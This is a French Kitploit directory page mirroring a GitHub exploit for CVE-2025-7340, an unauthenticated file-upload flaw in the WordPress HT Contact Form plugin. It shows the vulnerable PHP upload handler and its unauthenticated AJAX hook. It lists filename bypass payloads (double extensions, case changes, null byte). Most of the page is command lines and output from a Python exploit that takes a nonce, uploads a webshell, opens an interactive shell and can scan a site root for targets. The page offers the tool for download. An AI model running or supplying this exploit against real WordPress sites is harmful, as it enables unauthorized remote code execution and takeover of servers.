Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
WordPress-HT-Contact-CVE-2025-7340-RCE | Kitploit
Outils/GitHubGitHub/kai-one001/wordpress-ht-contact-cve-2025-7340-rce
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'Intrusion
GitHubkai-one001/wordpress-ht-contact-cve-2025-7340-rce

WordPress-HT-Contact-CVE-2025-7340-RCE

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 1 anPas encore vérifié

WordPress HT Contact Form Widget | Analyse de la vulnérabilité de téléversement de fichiers CVE-2025-7340

Emplacement de la vulnérabilité

Emplacement de la vulnérabilité : ht-contactform/admin/Includes/Services/FileManager.php Fonction clé : temp_file_upload()

1. Point de vulnérabilité principal : la fonction temp_file_upload

root@kitploit:~
#63行
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
    wp_send_json_error($validation['message']);
    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
    wp_send_json_success([
      'file_id' => $filename,
      'file_name' => $file['name'],
      'file_size' => $file['size']
    ]);
    return;
  }
}

2. Point d'entrée de la vulnérabilité : gestion AJAX

Emplacement du fichier : ht-contactform/admin/Includes/Ajax.php :

root@kitploit:~
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Problème : le hook wp_ajax_nopriv_ est utilisé, ce qui signifie que des utilisateurs non authentifiés peuvent également accéder à la fonctionnalité de téléversement de fichiers.

Analyse de la cause racine :

  • Absence de validation du type de fichier : dans la fonction validate de FileManager.php, seules les erreurs de téléversement PHP sont vérifiées ; le type de fichier, l'extension ou le type MIME ne sont pas du tout validés.
  • Configuration des types de fichiers inutilisée : le plugin définit les fichiers autorisés dans Fields.php, mais cette configuration n'est utilisée que pour la validation front-end lors du rendu du formulaire (attribut accept) ; elle n'est jamais utilisée pour une validation côté serveur.
  • Traitement du nom de fichier insuffisamment sécurisé : sanitize_file_name() gère principalement les caractères spéciaux et n'empêche pas les extensions dangereuses ; un attaquant peut toujours téléverser des fichiers tels que .php、.php3、.phtml ;

3. Problème de contrôle d'accès

root@kitploit:~
// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Analyse du problème :

  • Les utilisateurs non connectés peuvent également accéder à la fonctionnalité de téléversement
  • La validation repose uniquement sur le nonce, qui peut être contourné

Scénarios d'attaque

  1. Attaque directe : l'attaquant peut envoyer une requête POST directement à /wp-admin/admin-ajax.php avec l'action ht_form_temp_file_upload

  2. Contournement de la validation front-end : le front-end utilise l'attribut accept pour limiter les types de fichiers, mais l'attaquant peut facilement le contourner

  3. Exécution du fichier : le fichier PHP téléversé peut être exécuté par le serveur web, conduisant à une exécution de code à distance

1. Contournement par double extension

root@kitploit:~
shell.php.jpg
shell.php.png
shell.php.gif

2. Contournement par changement de casse

root@kitploit:~
shell.PHP
shell.Php
shell.pHp

3. Injection d'octet nul (si la configuration du serveur le permet)

root@kitploit:~
shell.php%00.jpg

4. Script Python

À noter : l'URL n'est exploitable que si elle correspond à un article publié via le plugin. J'ai donc ajouté une fonctionnalité « script kiddie » 02.


01 [Test unique] Exemple :

root@kitploit:~
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式

02 [Test du répertoire racine] Exemple :

root@kitploit:~
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...

[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式
Télécharger l’outil